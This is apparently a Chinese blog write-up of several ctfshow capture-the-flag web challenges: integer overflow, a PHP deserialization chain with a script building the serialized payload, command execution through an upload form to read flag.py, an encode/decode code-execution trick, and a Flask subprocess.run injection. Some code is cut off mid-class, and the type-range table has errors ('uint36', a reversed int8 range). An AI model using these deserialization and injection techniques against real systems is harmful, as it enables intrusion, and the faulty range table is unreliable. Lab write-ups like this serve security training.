0=1

茶歇区

不明白的题目，貌似是整数溢出漏洞；关于整数溢出漏洞，我们需要了解各种数据类型对应的取值范围：

uint8 -> 0-255
uint16 -> 0-65535
uint32 -> 0-4294967295
uint36 -> 0-18446744073709551615
int8 -> -127-128
int16 -> -32768-32767
int32 -> -2147483648-2147483647
int64 -> -9223372036854775808-9223372036854775807

尝试将咖啡的数量修改为99999999999999999999：

那么我们根据922..807这个数字，可以判断为int64,当然一般情况都是int64，这里存在一个疑点，为什么我们传的值已经明显大于9223372036854775807，但是为什么获得的积分是0？未接触过整数溢出的题目，看了相关的wp，好像是与数位相关，因为咖啡的单价是10，我们的数量还要×10，因此当我传递999999999999999999时：

再次传递数量（也就是说一共传递两次）

小舔田？

name;    }        public function __wakeup(){        echo "我是".$this->name."快来赏我";    }}class Ion_Fan_Princess{    public $nickname="牛夫人";    public function call(){        global $flag;        if ($this->nickname=="小甜甜"){            echo $flag;        }else{            echo "以前陪我看月亮的时候，叫人家小甜甜！现在新人胜旧人，叫人家".$this->nickname."。\n";            echo "你以为我这么辛苦来这里真的是为了这条臭牛吗?是为了你这个没良心的臭猴子啊!\n";        }    }        public function __toString(){        $this->call();        return "\t\t\t\t\t\t\t\t\t\t----".$this->nickname;    }}if (isset($_GET['code'])){    unserialize($_GET['code']);}else{    $a=new Ion_Fan_Princess();    echo $a;}

php序列化，最终的利用点在22行的echo $flag；该语句在call函数中，那么我们就需要向上找到用谁去调用call函数，显然，是Ion_Fan_Princess类中的tostring方法了，那么想要调用tostring函数，可以利用上面类中的tostring方法，当我们使得$this->name的值为Ion_Fan_Princess对象时，在wakeup方法中触发tostring方法；那么序列化链就比较清楚了；

name;    }    public function __wakeup(){        echo "我是".$this->name."快来赏我";    }}class Ion_Fan_Princess{    public $nickname;    public function call(){        global $flag;        if ($this->nickname=="小甜甜"){            echo $flag;        }else{            echo "以前陪我看月亮的时候，叫人家小甜甜！现在新人胜旧人，叫人家".$this->nickname."。\n";            echo "你以为我这么辛苦来这里真的是为了这条臭牛吗?是为了你这个没良心的臭猴子啊!\n";        }    }    public function __toString(){        $this->call();        return "\t\t\t\t\t\t\t\t\t\t----".$this->nickname;    }}$a = new Moon();$b = new Ion_Fan_Princess();$b->nickname = "小甜甜";$a->name = $b;echo serialize($a);

看下源码，发现存在执行命令：

随便上传一个图片，在repeater模块进行测试：

发现了flag.py文件，之后便可以cat flag.py

Is_Not_Obfuscate

hint:这道题是纸老虎，看题目名字。

先看下源代码：

发现了很多信息，通过input传递加密后的代码，之后通过decode解密后，当作php代码执行；同时发现robots.txt文件，先去访问下robots.txt文件：

这里发现了/lib.php?flag=0；尝试修改0为1，得到一串加密后的代码，有点像base64，这里还去尝试解码；发现不对；还有一个地方值得我们的注意，就是url中的参数存在3个，分别是input,action,output；到这里没有了思路，看了wp，需要将action的值设置为test；（其实在源代码中有提示的），尝试将input设置为刚才我们发现的那一串类似base64的加密字符串：（这里在hackbar中测试出来，后来才在前端将action修改为test）

先在前端修改action的value值为test，之后将上面发现的类似于base64的字符串填入文本框中，点击预览：

看到代码，首先看到$input变量，使用的是file_put_contents()函数，文件名为/plugins/md5加密“output的值+youyou”；内容就是encode加密后的output；

而$output变量，利用file_get_contents()函数读取文件中的内容，然后通过decode进行解密，之后将解密后的代码当作php代码来执行；

http://ctfshow/index.php?input=&action=push&output=http://ctfshow/index.php?input=0ed5fa37c609aceabc612d7c4e3799db&action=pull&output=

无一幸免_FIXED

我说上面的无一幸免怎么回事呢，下面才是g4师傅的意图：

题目还是涉及到整数溢出，类似于“茶歇区”，通过GET方式提交参数0的值，作为数组的下标，赋值为1，通过判断，输出flag的值；

当通过get传递值为9223372036854775807时，出现报错，而不是输出的结果是1；故我们可以通过传递0的值为9223372036854775807来绕过；

easyPytHon_P

源码在此：

from flask import requestcmd: str = request.form.get('cmd')param: str = request.form.get('param')# ------------------------------------- Don't modify ↑ them ↑! But you can write your code ↓import subprocess, osif cmd is not None and param is not None:    try:        tVar = subprocess.run([cmd[:3], param, __file__], cwd=os.getcwd(), timeout=5)        print('Done!')    except subprocess.TimeoutExpired:        print('Timeout!')    except:        print('Error!')else:    print('No Flag!')如果环境出现故障，请访问 这里 尝试恢复。大菜鸡敬上！

看源码可知，关键性的代码

tVar = subprocess.run([cmd[:3], param, __file__], cwd=os.getcwd(), timeout=5)

先来了解subprocess.run：

我们需要传递两个参数，分别是cmd和param（需要注意的是，要通过POST方式传递，而不是GET）

flag存在于当前路径下，而不是在根目录下；

来源地址：https://blog.csdn.net/weixin_44770698/article/details/128882067